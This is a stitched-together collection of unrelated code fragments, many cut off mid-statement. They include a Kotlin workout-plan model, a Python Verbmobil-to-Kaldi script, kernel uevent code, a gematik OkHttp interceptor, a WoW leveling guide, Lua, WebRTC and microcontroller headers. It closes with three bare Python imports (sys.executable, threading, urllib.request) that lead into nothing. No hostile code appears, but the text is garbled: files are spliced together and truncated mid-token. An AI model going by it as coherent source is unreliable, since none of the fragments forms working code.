 com.looker.kenko.data.model.Labels.Time
import kotlinx.datetime.Clock
import kotlinx.datetime.DatePeriod
import kotlinx.datetime.DayOfWeek
import kotlinx.datetime.TimeZone
import kotlinx.datetime.toLocalDateTime

@Immutable
data class Plan(
    val name: String,
    val description: String?,
    val difficulty: Difficulty?,
    val focus: Focus?,
    val equipment: Equipment?,
    val time: Time?,
    val isActive: Boolean,
    val stat: PlanStat = PlanStat(0, 0),
    val id: Int? = null,
)

@Immutable
data class PlanItem(
    val dayOfWeek: DayOfWeek,
    val exercise: Exercise,
    val planId: Int,
    val id: Long? = null,
)

val localDate = Clock.System.now().toLocalDateTime(TimeZone.currentSystemDefault()).date

val week = DatePeriod(days = 7)

class PlanPreviewParameters : PreviewParameterProvider<List<Plan>> {
    override val values: Sequence<List<Plan>> = sequenceOf(
        listOf(
            Plan(
                name = "Push Pull Leg",
                description = null,
                difficulty = Difficulty.ADAPTABLE,
                focus = null,
                equipment = Equipment.FULL_GYM,
                time = Time.NORMAL,
                isActive = true,
                stat = PlanStat(21, 5),
            ),
            Plan(
                name = "Upper Lower",
                description = "Alternative upper lower split",
                difficulty = Difficulty.BEGINNER,
                focus = Focus.POWER_BUILDING,
                equipment = Equipment.FULL_GYM,
                time = Time.QUICK,
                isActive = false,
                stat = PlanStat(21, 4),
            ),
            Plan(
                name = "Upper Lower 2",
                description = "Lower Upper split at home",
                difficulty = Difficulty.ADAPTABLE,
                focus = Focus.POWER_BUILDING,
                equipment = Equipment.DUMBBELLS,
                time = Time.QUICK,
                isActive = false,
                stat = PlanStat(21, 5),
            ),
        ),
    )
}
package com.looker.kenko.data.local.dao

import androidx.room.Dao
import androidx.room.Query
import androidx.room.Upsert
import com.looker.kenko.data.local.model.PlanHistoryEntity
import kotlinx.coroutines.flow.Flow

@Dao
interface PlanHistoryDao {

    @Query(
        """
        SELECT planId
        FROM plan_history
        WHERE `end` IS NULL
        AND start IS NOT NULL
        """,
    )
    fun currentIdFlow(): Flow<Int?>

    @Query(
        """
        SELECT planId
        FROM plan_history
        WHERE `end` IS NULL
        AND start IS NOT NULL
        """,
    )
    suspend fun getCurrentId(): Int?

    @Query(
        """
        SELECT *
        FROM plan_history
        WHERE `end` IS NULL
        AND start IS NOT NULL
        """,
    )
    fun currentFlow(): Flow<PlanHistoryEntity?>

    @Query(
        """
        SELECT *
        FROM plan_history
        WHERE `end` IS NULL
        AND start IS NOT NULL
        """,
    )
    suspend fun getCurrent(): PlanHistoryEntity?

    @Query(
        """
        SELECT *
        FROM plan_history
        """
    )
    suspend fun getAll(): List<PlanHistoryEntity>

    @Upsert
    suspend fun upsert(history: PlanHistoryEntity)
}
/*
 * Copyright (C) 2025 LooKeR & Contributors
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Thu May 24 23:25:35 2018
Verbmobil (VM1 and VM2) script to generate Kaldi compatible test and dev sets.
Works best with VM1 and VM2 version from https://clarin.phonetik.uni-muenchen.de/BASRepository/
where the Verbmobil dataset is freely available for most academic users.

Tested with all.VM1.3.cmdi and all.VM2.3.cmdi

After extraction of the VM1 and VM2 tgz archives, CLARINdoku.zip needs to be extracted as well.
In VM2 the sets folder might need to be renamed to the uppercase SETS.

@author: Benjamin Milde
"""

import os

def ensure_dir(f):
    d = os.path.dirname(f)
    if not os.path.exists(d):
        os.makedirs(d)

def read_vm_ids(vm_filename, vm_prefix):
    myids = []
    with open(vm_prefix + vm_filename) as vm1_dev:
        for line in vm1_dev:
            myid = line.split()[0]
            myids += [myid]
    return myids

replace_rules = {'"s':'ß','"a':'ä','"u':'ü', '"o':'ö', '"A':'Ä','"U':'Ü', '"O':'Ö', '<':'', '>':'', '-$':' ', '$':'' }

def read_par(myids, vm_prefix, replace_space=True):
    db = {}
    for myid in myids:
        speaker = myid[:5]
        try:
            with open(vm_prefix + speaker + '/' + myid+'.par') as parfile:
                txt = []
                for line in parfile:
                    if line[-1] == '\n':
                        line = line[:-1]
                    if line[:4] == 'ORT:':
                        word = line.split()[2]
                        #print(word)
                        for rule in replace_rules.items():
                            word = word.replace(rule[0],rule[1])
                        #print(word)
                        if replace_space:
                            word = word.replace(' ','')

                        if word[0] != ' ':
                            txt.append(word)
                        else:
                            txt.append(word[1:])
                print(txt)
                db[myid] = ' '.join(txt)
        except:
            print('Error opening file:', vm_prefix + speaker + '/' + myid+'.par')
    return db

def create_kaldi(db, folder,  vm_prefix, use_wav=True):
    ensure_dir(folder)
    with open(folder + 'text', 'w' ) as text, open(folder + '/utt2spk', 'w' ) as spk2utt, open(folder + '/wav.scp', 'w' ) as wavscp:
        for myid in sorted(list(db.keys())):
            speaker = myid[:5]
            text.write(myid + ' ' + db[myid] + '\n')
            spk2utt.write(myid + ' ' + speaker + '\n')
            if use_wav:
                wavscp.write("%s %s.wav\n" % (myid, vm_prefix + speaker + '/' + myid))
            else:
                wavscp.write("%s sph2pipe -f wav -p %s |\n" % (myid, vm_prefix + speaker + '/' + myid + '.nis'))

#j511a

for vm_prefix, ids_file, data_folder in [
        ('data/wav/VM1/', 'doc/SETS/VM1_DEV', 'data/vm1_dev/'),
        ('data/wav/VM1/', 'doc/SETS/VM1_TEST', 'data/vm1_test/'),
        ('data/wav/VM1/', 'doc/SETS/VM1_TRAIN', 'data/vm1_train/'),
        ('data/wav/VM2/', 'doc/SETS/VM2_DEV', 'data/vm2_dev/'),
        ('data/wav/VM2/', 'doc/SETS/VM2_TEST', 'data/vm2_test/')
        ]:
    print(vm_prefix, ids_file, data_folder)
    myids = read_vm_ids(ids_file, vm_prefix)
    db = read_par(myids, vm_prefix)
    create_kaldi(db, data_folder, vm_prefix)


/*
 * Generated by asn1c-0.9.29 (http://lionet.info/asn1c)
 * From ASN.1 module "ETSI-ITS-CDD"
 * 	found in "asn1/release2/TS102894-2v221-CDD.asn"
 * 	`asn1c -fcompound-names -fincludes-quoted -no-gen-example -fprefix=Vanetza_ITS2_ -R`
 */

#ifndef	_Vanetza_ITS2_CurvatureValue_H_
#define	_Vanetza_ITS2_CurvatureValue_H_

#include "asn_application.h"

/* Including external dependencies */
#include "NativeInteger.h"

#ifdef __cplusplus
extern "C" {
#endif

/* Dependencies */
typedef enum Vanetza_ITS2_CurvatureValue {
	Vanetza_ITS2_CurvatureValue_outOfRangeNegative	= -1023,
	Vanetza_ITS2_CurvatureValue_straight	= 0,
	Vanetza_ITS2_CurvatureValue_outOfRangePositive	= 1022,
	Vanetza_ITS2_CurvatureValue_unavailable	= 1023
} e_Vanetza_ITS2_CurvatureValue;

/* Vanetza_ITS2_CurvatureValue */
typedef long	 Vanetza_ITS2_CurvatureValue_t;

/* Implementation */
extern asn_per_constraints_t asn_PER_type_Vanetza_ITS2_CurvatureValue_constr_1;
extern asn_TYPE_descriptor_t asn_DEF_Vanetza_ITS2_CurvatureValue;
asn_struct_free_f Vanetza_ITS2_CurvatureValue_free;
asn_struct_print_f Vanetza_ITS2_CurvatureValue_print;
asn_constr_check_f Vanetza_ITS2_CurvatureValue_constraint;
ber_type_decoder_f Vanetza_ITS2_CurvatureValue_decode_ber;
der_type_encoder_f Vanetza_ITS2_CurvatureValue_encode_der;
xer_type_decoder_f Vanetza_ITS2_CurvatureValue_decode_xer;
xer_type_encoder_f Vanetza_ITS2_CurvatureValue_encode_xer;
jer_type_encoder_f Vanetza_ITS2_CurvatureValue_encode_jer;
oer_type_decoder_f Vanetza_ITS2_CurvatureValue_decode_oer;
oer_type_encoder_f Vanetza_ITS2_CurvatureValue_encode_oer;
per_type_decoder_f Vanetza_ITS2_CurvatureValue_decode_uper;
per_type_encoder_f Vanetza_ITS2_CurvatureValue_encode_uper;
per_type_decoder_f Vanetza_ITS2_CurvatureValue_decode_aper;
per_type_encoder_f Vanetza_ITS2_CurvatureValue_encode_aper;

#ifdef __cplusplus
}
#endif

#endif	/* _Vanetza_ITS2_CurvatureValue_H_ */
#include "asn_internal.h"


et.setCols(1);

			//infer tight block indexing size
			Hop rl = getInput().get(1);
			Hop ru = getInput().get(2);
			Hop cl = getInput().get(3);
			Hop cu = getInput().get(4);
			if( isBlockIndexingExpression(rl, ru) )
				ret.setRows(getBlockIndexingExpressionSize(rl, ru));
			if( isBlockIndexingExpression(cl, cu) )
				ret.setCols(getBlockIndexingExpressionSize(cl, cu));
		}

		return ret;
	}

	/**
	 * Indicates if the lbound:rbound expressions is of the form
	 * "(c * (i - 1) + 1) : (c * i)", where we could use c as a tight size estimate.
	 *
	 * @param lbound lower bound high-level operator
	 * @param ubound uppser bound high-level operator
	 * @return true if block indexing expression
	 */
	private static boolean isBlockIndexingExpression(Hop lbound, Hop ubound)
	{
		boolean ret = false;
		LiteralOp constant = null;
		Hop var = null;

		//handle lower bound
		if( lbound instanceof BinaryOp && ((BinaryOp)lbound).getOp()==OpOp2.PLUS
			&& lbound.getInput(1) instanceof LiteralOp
			&& HopRewriteUtils.getDoubleValueSafe((LiteralOp)lbound.getInput(1))==1
			&& lbound.getInput(0) instanceof BinaryOp)
		{
			BinaryOp lmult = (BinaryOp)lbound.getInput(0);
			if( lmult.getOp()==OpOp2.MULT && lmult.getInput(0) instanceof LiteralOp
				&& lmult.getInput(1) instanceof BinaryOp )
			{
				BinaryOp lminus = (BinaryOp)lmult.getInput(1);
				if( lminus.getOp()==OpOp2.MINUS && lminus.getInput(1) instanceof LiteralOp
					&& HopRewriteUtils.getDoubleValueSafe((LiteralOp)lminus.getInput(1))==1 )
				{
					constant = (LiteralOp)lmult.getInput(0);
					var = lminus.getInput(0); //any DataOp or intermediate hop
				}
			}
		}

		//handle upper bound (general check for var depends on CSE)
		if( var != null && constant != null && ubound instanceof BinaryOp
			&& ((ubound.getInput(0) instanceof LiteralOp && ubound.getInput(1) == var)
			  ||(ubound.getInput(1) instanceof LiteralOp && ubound.getInput(0) == var)) )
		{
			int constIndex = (ubound.getInput(1) == var) ? 0 : 1;
			LiteralOp constant2 = (LiteralOp)ubound.getInput(constIndex);
			ret = ( HopRewriteUtils.getDoubleValueSafe(constant) ==
					HopRewriteUtils.getDoubleValueSafe(constant2) );
		}

		return ret;
	}

	/**
	 * Indicates if the right indexing ranging is block aligned, i.e., it does not require
	 * aggregation across blocks due to shifting.
	 *
	 * @return true if block aligned
	 */
	private boolean isBlockAligned() {
		Hop input1 = getInput().get(0); //original matrix
		Hop input2 = getInput().get(1); //inpRowL
		Hop input3 = getInput().get(2); //inpRowU
		Hop input4 = getInput().get(3); //inpColL
		Hop input5 = getInput().get(4); //inpRowU

		long rl = (input2 instanceof LiteralOp) ? (HopRewriteUtils.getIntValueSafe((LiteralOp)input2)) : -1;
		long ru = (input3 instanceof LiteralOp) ? (HopRewriteUtils.getIntValueSafe((LiteralOp)input3)) : -1;
		long cl = (input4 instanceof LiteralOp) ? (HopRewriteUtils.getIntValueSafe((LiteralOp)input4)) : -1;
		long cu = (input5 instanceof LiteralOp) ? (HopRewriteUtils.getIntValueSafe((LiteralOp)input5)) : -


 details in the "Readme" file.
 *
 * See the Licence for the specific language governing permissions and limitations under the Licence.
 *
 * *******
 *
 * For additional notes and disclaimer from gematik and in case of changes by gematik find details in the "Readme" file.
 */

package de.gematik.ti.erp.app.interceptor

import de.gematik.ti.erp.app.Requirement
import de.gematik.ti.erp.app.profile.repository.ProfileIdentifier
import io.github.aakira.napier.Napier
import okhttp3.HttpUrl
import okhttp3.Interceptor
import okhttp3.Response

/**
 * Rewrites any absolute @Url requests so that:
 *  • scheme, host & port come from your configured baseUrl
 *  • path and query come from the server’s nextLink
 *
 * This runs before your BearerHeaderInterceptor, so when you ask
 * for a token‐scope by host, it still matches your base host.
 */
@Requirement(
    "A_20602#2",
    sourceSpecification = "gemSpec_IDP_Frontend",
    rationale = """
        When the server hands back an absolute next-page URL we must still apply
        our standard Bearer-token interceptor. This [UrlRewriteInterceptor]
        rewrites any unknown host back onto our configured baseUrl, so that
        the BearerHeaderInterceptor sees the expected host, loads the correct
        token scope, and injects the Authorization header.
    """
)
class UrlRewriteInterceptor(
    private val baseUrl: HttpUrl
) : Interceptor {

    override fun intercept(chain: Interceptor.Chain): Response {
        val original = chain.request()
        val profileId = original.tag(ProfileIdentifier::class.java)
        val originalUrl = original.url

        // Only rewrite if the host or scheme differs from our base
        if (originalUrl.host != baseUrl.host || originalUrl.scheme != baseUrl.scheme) {
            val rewrittenUrl = originalUrl.newBuilder()
                .scheme(baseUrl.scheme)
                .host(baseUrl.host)
                .port(baseUrl.port)
                .build()

            Napier.d(tag = "UrlRewriteInterceptor") { "rewriting $originalUrl → $rewrittenUrl" }

            // Re‐attach the ProfileIdentifier tag so downstream interceptors still see it
            val newReq = original.newBuilder()
                .url(rewrittenUrl)
                .tag(ProfileIdentifier::class.java, profileId)
                .build()

            return chain.proceed(newReq)
        }

        // No change needed; pass through
        return chain.proceed(original)
    }
}
/*
 * Copyright (Change Date see Readme), gematik GmbH
 *
 * Licensed under the EUPL, Version 1.2 or - as soon they will be approved by the
 * European Commission – subsequent versions of the EUPL (the "Licence").
 * You may not use this work except in compliance with the Licence.
 *
 * You find a copy of the Licence in the "Licence" file or at
 * https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12
 *
 * Unless required by applicable law or agreed to in writing,
 * software distributed under the Licence is distributed on an "AS IS" basis,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either expressed or implied.
 * In case of changes by gematik GmbH find details in the "Readme" file.
 *
 * See the Licence for the specific language governing permissions and limitations under the Licence.
 *
 * *******
 *
 * For additional notes and disclaimer from gematik and in case of changes by gematik find details in the "Readme" file.
 */

package de.gematik.ti.erp.app.profiles

import de.gematik.ti.erp.app.profiles.repository.DefaultProfilesRepository
import de.gematik.ti.erp.app.profiles


	// 32 * 4 * 4 Bezier spline patches
		const List<int> teapotPatches = [
			/*rim*/
			0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
			3, 16, 17, 18, 7, 19, 20, 21, 11, 22, 23, 24, 15, 25, 26, 27,
			18, 28, 29, 30, 21, 31, 32, 33, 24, 34, 35, 36, 27, 37, 38, 39,
			30, 40, 41, 0, 33, 42, 43, 4, 36, 44, 45, 8, 39, 46, 47, 12,
			/*body*/
			12, 13, 14, 15, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59,
			15, 25, 26, 27, 51, 60, 61, 62, 55, 63, 64, 65, 59, 66, 67, 68,
			27, 37, 38, 39, 62, 69, 70, 71, 65, 72, 73, 74, 68, 75, 76, 77,
			39, 46, 47, 12, 71, 78, 79, 48, 74, 80, 81, 52, 77, 82, 83, 56,
			56, 57, 58, 59, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95,
			59, 66, 67, 68, 87, 96, 97, 98, 91, 99, 100, 101, 95, 102, 103, 104,
			68, 75, 76, 77, 98, 105, 106, 107, 101, 108, 109, 110, 104, 111, 112, 113,
			77, 82, 83, 56, 107, 114, 115, 84, 110, 116, 117, 88, 113, 118, 119, 92,
			/*handle*/
			120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135,
			123, 136, 137, 120, 127, 138, 139, 124, 131, 140, 141, 128, 135, 142, 143, 132,
			132, 133, 134, 135, 144, 145, 146, 147, 148, 149, 150, 151, 68, 152, 153, 154,
			135, 142, 143, 132, 147, 155, 156, 144, 151, 157, 158, 148, 154, 159, 160, 68,
			/*spout*/
			161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176,
			164, 177, 178, 161, 168, 179, 180, 165, 172, 181, 182, 169, 176, 183, 184, 173,
			173, 174, 175, 176, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196,
			176, 183, 184, 173, 188, 197, 198, 185, 192, 199, 200, 189, 196, 201, 202, 193,
			/*lid*/
			203, 203, 203, 203, 204, 205, 206, 207, 208, 208, 208, 208, 209, 210, 211, 212,
			203, 203, 203, 203, 207, 213, 214, 215, 208, 208, 208, 208, 212, 216, 217, 218,
			203, 203, 203, 203, 215, 219, 220, 221, 208, 208, 208, 208, 218, 222, 223, 224,
			203, 203, 203, 203, 221, 225, 226, 204, 208, 208, 208, 208, 224, 227, 228, 209,
			209, 210, 211, 212, 229, 2


step
    #softcore
    .goto Elwynn Forest,41.7,65.9
    .vendor >>vendor trash, repair
step << Warrior
    .goto Elwynn Forest,41.087,65.768
.target Ilsa Corbin
.target Lyria Du Lac
>>Talk to |cRXP_FRIENDLY_Lyria Du Lac|r
-->>Talk to |cRXP_FRIENDLY_Ilsa Corbin|r
    .accept 1638 >> Accept A Warrior's Training
    .trainer >> Train your class spells
step << Paladin
    .goto Elwynn Forest,41.1,66.0
    .trainer >> Train your class spells
step
    >> Return to William in the inn
    .goto Elwynn Forest,43.283,65.721
.target William Pestle
>>Talk to |cRXP_FRIENDLY_William Pestle|r
    .accept 114 >> Accept The Escape
step << Warlock
    >>Go back down into the basement
    .goto Elwynn Forest,44.4,66.2
.target Remen Marcot
>>Talk to |cRXP_FRIENDLY_Remen Marcot|r
    .accept 1685 >> Accept Gakin's Summons
    .trainer >> Train your class spells
step << Mage/Priest/Rogue tbc
    #sticky
    #completewith next
    .goto Elwynn Forest,43.7,66.4,10 >>Go Upstairs
step << Priest
    .goto Elwynn Forest,43.283,65.721
.target Priestess Josetta
>>Talk to |cRXP_FRIENDLY_Priestess Josetta|r
    .accept 5635 >> Accept Desperate Prayer << tbc
    .trainer >> Train your class spells
step << Mage
    .goto Elwynn Forest,43.2,66.2
    .trainer >> Train your class spells
step << Rogue tbc
    .goto Elwynn Forest,43.9,65.9
    >>Don't worry about not having 2 weapons, we'll get another soon
    >>Be VERY careful about your money when training here. You will need 31s 52c by next level. Make sure you train Dual Wield and Sprint though.
    .trainer >> Train your class spells
step << Rogue tbc
    .goto Elwynn Forest,41.7,65.9
    .money >0.3152
    .vendor >>You don't have enough money, so buy Stiletto for your Offhand
step
    >>Run out of the inn and go south back to Maybell Maclure
    .goto Elwynn Forest,43.2,89.6
.target Maybell Maclure
>>Talk to |cRXP_FRIENDLY_Maybell Maclure|r
    .turnin 114 >> Turn in The Escape
step
    >> Head back to the Stonefield farm
    .goto Elwynn Forest,34.660,84.482
.target Ma Stonefield
>>Talk to |cRXP_FRIENDLY_Ma Stonefield|r
    .turnin 88,2 >> Turn in Princess Must Die! << Warrior/Paladin
    .turnin 88 >> Turn in Princess Must Die! << !Warrior !Paladin
step << Warlock/Mage wotlk
#xprate >1.3 << Mage
    >>Click any of the wanted posters around
    .goto Elwynn Forest,24.6,74.7
    .accept 176 >> Accept Wanted:   "Hogger"
step
    >> Speak with Deputy Rainer
    .goto Elwynn Forest,24.2,74.5
.target Deputy Rainer
>>Talk to |cRXP_FRIENDLY_Deputy Rainer|r
    .turnin 239 >> Turn in Westbrook Garrison Needs Help!
step << Warlock/Mage wotlk
#xprate >1.3 << Mage
    .goto Elwynn Forest,24.2,74.5
.target Deputy Rainer


to exit;
		}
	}

	/* let the kset specific function add its stuff */
	if (uevent_ops && uevent_ops->uevent) {
		retval = uevent_ops->uevent(kset, kobj, env);
		if (retval) {
			pr_debug("kobject: '%s' (%p): %s: uevent() returned "
				 "%d\n", kobject_name(kobj), kobj,
				 __func__, retval);
			goto exit;
		}
	}

	/*
	 * Mark "add" and "remove" events in the object to ensure proper
	 * events to userspace during automatic cleanup. If the object did
	 * send an "add" event, "remove" will automatically generated by
	 * the core, if not already done by the caller.
	 */
	if (action == KOBJ_ADD)
		kobj->state_add_uevent_sent = 1;
	else if (action == KOBJ_REMOVE)
		kobj->state_remove_uevent_sent = 1;

	/* we will send an event, so request a new sequence number */
	spin_lock(&sequence_lock);
	seq = ++uevent_seqnum;
	spin_unlock(&sequence_lock);
	retval = add_uevent_var(env, "SEQNUM=%llu", (unsigned long long)seq);
	if (retval)
		goto exit;

#if defined(CONFIG_NET)
	/* send netlink message */
	if (uevent_sock) {
		struct sk_buff *skb;
		size_t len;

		/* allocate message with the maximum possible size */
		len = strlen(action_string) + strlen(devpath) + 2;
		skb = alloc_skb(len + env->buflen, GFP_KERNEL);
		if (skb) {
			char *scratch;

			/* add header */
			scratch = skb_put(skb, len);
			sprintf(scratch, "%s@%s", action_string, devpath);

			/* copy keys to our continuous event payload buffer */
			for (i = 0; i < env->envp_idx; i++) {
				len = strlen(env->envp[i]) + 1;
				scratch = skb_put(skb, len);
				strcpy(scratch, env->envp[i]);
			}

			NETLINK_CB(skb).dst_group = 1;
			retval = netlink_broadcast(uevent_sock, skb, 0, 1,
						   GFP_KERNEL);
			/* ENOBUFS should be handled in userspace */
			if (retval == -ENOBUFS)
				retval = 0;
		} else
			retval = -ENOMEM;
	}
#endif

	/* call uevent_helper, usually only enabled during early boot */
	if (uevent_helper[0]) {
		char *argv [3];

		argv [0] = uevent_helper;
		argv [1] = (char *)subsystem;
		argv [2] = NULL;
		retval = add_uevent_var(env, "HOME=/");
		if (retval)
			goto exit;
		retval = add_uevent_var(env,
					"PATH=/sbin:/bin:/usr/sbin:/usr/bin");
		if (retval)
			goto exit;

		retval = call_usermodehelper(argv[0], argv,
					     env->envp, UMH_WAIT_EXEC);
	}

exit:
	kfree(devpath);
	kfree(env);
	return retval;
}
EXPORT_SYMBOL_GPL(kobject_uevent_env);

/**
 * kobject_uevent - notify userspace by ending an uevent
 *
 * @action: action that is happening
 * @kobj: struct kobject that the action is happening to
 *
 * Returns 0 if kobject_uevent() is completed with success or the
 * corresponding error when it fails.
 */
int kobject_uevent(struct kobject *kobj, enum kobject_action action)
{
	return kobject_uevent_env(kobj, action, NULL);
}
EXPORT_SYMBOL_GPL(kobject_uevent);

/**
 * add_uevent_var - add key value string to the environment buffer
 * @env: environment buffer structure
 * @format: printf format for the key=value pair
 *
 * Returns 0 if environment variable was added successfully or -ENOMEM
 * if no space was available.
 */
int add_uevent_var(struct kobj_uevent_env *env, const char *format, ...)
{
	va_list args;
	int len;

	if (env->envp_idx >= ARRAY_SIZE(env->envp)) {
		WARN(1, KERN_ERR "add_uevent_var: too many keys\n");
		return -ENOMEM;
	}

	va_start(args, format);
	len = vsnprintf(&env->buf[env->buflen],
			sizeof(env->buf) - env->buflen,
			format, args);
	va_end(args);

	if (len >= (sizeof(env->buf) - env->buflen)) {
		WARN(1, KERN_ERR "add_uevent_var: buffer size too small\n");
		return -ENOMEM;
	}

	env->envp[env->envp_idx++] = &env->buf[env->buflen];
	env->buflen += len + 1;
	return 0;
}
EXPORT_SYMBOL_GPL(add_uevent_var);

#if defined(CONFIG_NET)
static int __init kobject_uevent_init(void)
{
	uevent_sock = netlink_kernel_create(&init_net, NETLINK_KOBJECT_UEVENT,
					    1, NULL, NULL, THIS_MODULE);
	if (!uevent_sock) {
		printk(KERN_ERR
		       "kobject_uevent: unable to create netlink socket!\n");
		return -ENODEV;
	}
	netlink_set_nonroot(NETLINK_KOBJECT_UEVENT, NL_NONROOT_RECV);
	return 0;
}

postcore_initcall(kobject_uevent_init);
#endif


 update_count = 0
   for group, settings in pairs(groups) do
      vim.api.nvim_set_hl(0, group, settings)
      update_count = update_count + 1
   end

   asserts.that(#terminal_groups == 16)

   vim.g.terminal_color_0 = terminal_groups[1]
   vim.g.terminal_color_1 = terminal_groups[2]
   vim.g.terminal_color_2 = terminal_groups[3]
   vim.g.terminal_color_3 = terminal_groups[4]
   vim.g.terminal_color_4 = terminal_groups[5]
   vim.g.terminal_color_5 = terminal_groups[6]
   vim.g.terminal_color_6 = terminal_groups[7]
   vim.g.terminal_color_7 = terminal_groups[8]
   vim.g.terminal_color_8 = terminal_groups[9]
   vim.g.terminal_color_9 = terminal_groups[10]
   vim.g.terminal_color_10 = terminal_groups[11]
   vim.g.terminal_color_11 = terminal_groups[12]
   vim.g.terminal_color_12 = terminal_groups[13]
   vim.g.terminal_color_13 = terminal_groups[14]
   vim.g.terminal_color_14 = terminal_groups[15]
   vim.g.terminal_color_15 = terminal_groups[16]

   log.debug("Updated colors for %s highlight groups", update_count)
end

function ApiImpl:_reset_modified_palette()
   self._modified_palette = null
   self._modified_palette_saturation_offset = 0
   self._modified_palette_accent_order = { 1, 2, 3, 4, 5, 6, 7 }
   self._modified_palette_contrast = 1
end

function ApiImpl:reset_to_default()
   self._current_palette = null
   self:_reset_modified_palette()
end

function ApiImpl:set_current_palette(palette)
   self._current_palette = palette
   self:_reset_modified_palette()
end

function ApiImpl:_touch_up_generated_palette(palette)
   local min_fg_contrast = self._user_settings.ai.minimum_foreground_contrast

   local function adjust_foreground(fg)
      if self._user_settings.ai.enable_minimum_foreground_contrast then
         local contrast = fg.v - palette.background.v

         if contrast < min_fg_contrast then
            fg = HsvColor(fg.h, fg.s, util.clamp(palette.background.v + min_fg_contrast, 0, 1))
         end
      end

      if self._user_settings.ai.auto_darken_greens then

         local is_green = fg.h > 1 / 6 and fg.h < 1 / 2

         if is_green then
            fg = HsvColor(fg.h, fg.s, self._user_settings.ai.green_darkening_amount * fg.v)
         end
      end

      return fg
   end

   asserts.that(#palette.accents == 7)

   return {
      name = palette.name,
      background_mode = palette.background_mode,
      background = palette.background,
      foreground = adjust_foreground(palette.foreground),
      accents = {
         adjust_foreground(palette.accents[1]),
         adjust_foreground(palette.accents[2]),
         adjust_foreground(palette.accents[3]),
         adjust_foreground(palette.accents[4]),
         adjust_foreground(palette.accents[5]),
         adjust_foreground(palette.accents[6]),
         adjust_foreground(palette.accents[7]),
      },
   }
end

function ApiImpl:select_palette(name)
   asserts.that(name ~= nil, "No theme provided to generate_new_palette method")

   log.info("Looking up palette with name '%s'", name)
   local existing_palette = self


Config(const VideoEncoderConfig&) = default;

void VideoEncoderConfig::EncoderSpecificSettings::FillEncoderSpecificSettings(
    VideoCodec* codec) const {
  if (codec->codecType == kVideoCodecVP8) {
    FillVideoCodecVp8(codec->VP8());
  } else if (codec->codecType == kVideoCodecVP9) {
    FillVideoCodecVp9(codec->VP9());
  } else if (codec->codecType == kVideoCodecAV1) {
    FillVideoCodecAv1(codec->AV1());
  } else {
    RTC_DCHECK_NOTREACHED()
        << "Encoder specifics set/used for unknown codec type.";
  }
}

void VideoEncoderConfig::EncoderSpecificSettings::FillVideoCodecVp8(
    VideoCodecVP8* vp8_settings) const {
  RTC_DCHECK_NOTREACHED();
}

void VideoEncoderConfig::EncoderSpecificSettings::FillVideoCodecVp9(
    VideoCodecVP9* vp9_settings) const {
  RTC_DCHECK_NOTREACHED();
}

void VideoEncoderConfig::EncoderSpecificSettings::FillVideoCodecAv1(
    VideoCodecAV1* av1_settings) const {
  RTC_DCHECK_NOTREACHED();
}

VideoEncoderConfig::Vp8EncoderSpecificSettings::Vp8EncoderSpecificSettings(
    const VideoCodecVP8& specifics)
    : specifics_(specifics) {}

void VideoEncoderConfig::Vp8EncoderSpecificSettings::FillVideoCodecVp8(
    VideoCodecVP8* vp8_settings) const {
  *vp8_settings = specifics_;
}

VideoEncoderConfig::Vp9EncoderSpecificSettings::Vp9EncoderSpecificSettings(
    const VideoCodecVP9& specifics)
    : specifics_(specifics) {}

void VideoEncoderConfig::Vp9EncoderSpecificSettings::FillVideoCodecVp9(
    VideoCodecVP9* vp9_settings) const {
  *vp9_settings = specifics_;
}

VideoEncoderConfig::Av1EncoderSpecificSettings::Av1EncoderSpecificSettings(
    const VideoCodecAV1& specifics)
    : specifics_(specifics) {}

void VideoEncoderConfig::Av1EncoderSpecificSettings::FillVideoCodecAv1(
    VideoCodecAV1* av1_settings) const {
  *av1_settings = specifics_;
}

}  // namespace webrtc
/*
 *  Copyright 2018 The WebRTC project authors. All Rights Reserved.
 *
 *  Use of this source code is governed by a BSD-style license
 *  that can be found in the LICENSE file in the root of the source
 *  tree. An additional intellectual property rights grant can be found
 *  in the file PATENTS.  All contributing project authors may
 *  be found in the AUTHORS file in the root of the source tree.
 */

#include <memory>

#include "absl/algorithm/container.h"
#include "api/task_queue/task_queue_base.h"
#include "api/test/simulated_network.h"
#include "api/test/video/function_video_encoder_factory.h"
#include "api/units/time_delta.h"
#include "call/fake_network_pipe.h"
#include "modules/rtp_rtcp/source/rtp_packet.h"
#include "modules/video_coding/codecs/vp8/include/vp8.h"
#include "rtc_base/event.h"
#include "rtc_base/synchronization/mutex.h"
#include "rtc_base/task_queue_for_test.h"
#include "test/call_test.h"
#include "test/field_trial.h"
#include "test/gtest.h"
#include "test/network/simulated_network.h"
#include "test/rtcp_packet_parser.h"
#include "test/video_test_constants.h"

namespace webrtc {
namespace {
enum : int {  // The first valid value is 1.
  kVideoRotationExtensionId = 1,
};
}  // namespace

class RetransmissionEndToEn


e
//! interrupt controller so that the interrupt handler no longer is called.
//!
//! \sa Interrupt_registerInterrupt() for important information about
//! registering interrupt handlers.
//!
//! \return None.
//
//*****************************************************************************
extern void Timer_A_unregisterInterrupt(uint32_t timer,
        uint_fast8_t interruptSelect);

/* Backwards Compatibility Layer */
#define Timer_A_clearTimerInterrupt Timer_A_clearInterruptFlag
#define Timer_A_clear Timer_A_clearTimer
#define Timer_A_initCaptureMode Timer_A_initCapture
#define Timer_A_initCompareMode Timer_A_initCompare
#define Timer_A_initContinuousMode Timer_A_configureContinuousMode
#define Timer_A_initUpDownMode Timer_A_configureUpDownMode
#define Timer_A_initUpMode Timer_A_configureUpMode
#define Timer_A_outputPWM Timer_A_generatePWM
#define Timer_A_stop Timer_A_stopTimer

//*****************************************************************************
//
// Mark the end of the C bindings section for C++ compilers.
//
//*****************************************************************************
#ifdef __cplusplus
}
#endif

//*****************************************************************************
//
// Close the Doxygen group.
//! @}
//
//*****************************************************************************

#endif /* TIMERA_H_ */


from sys import executable
from threading import Thread
from urllib import request
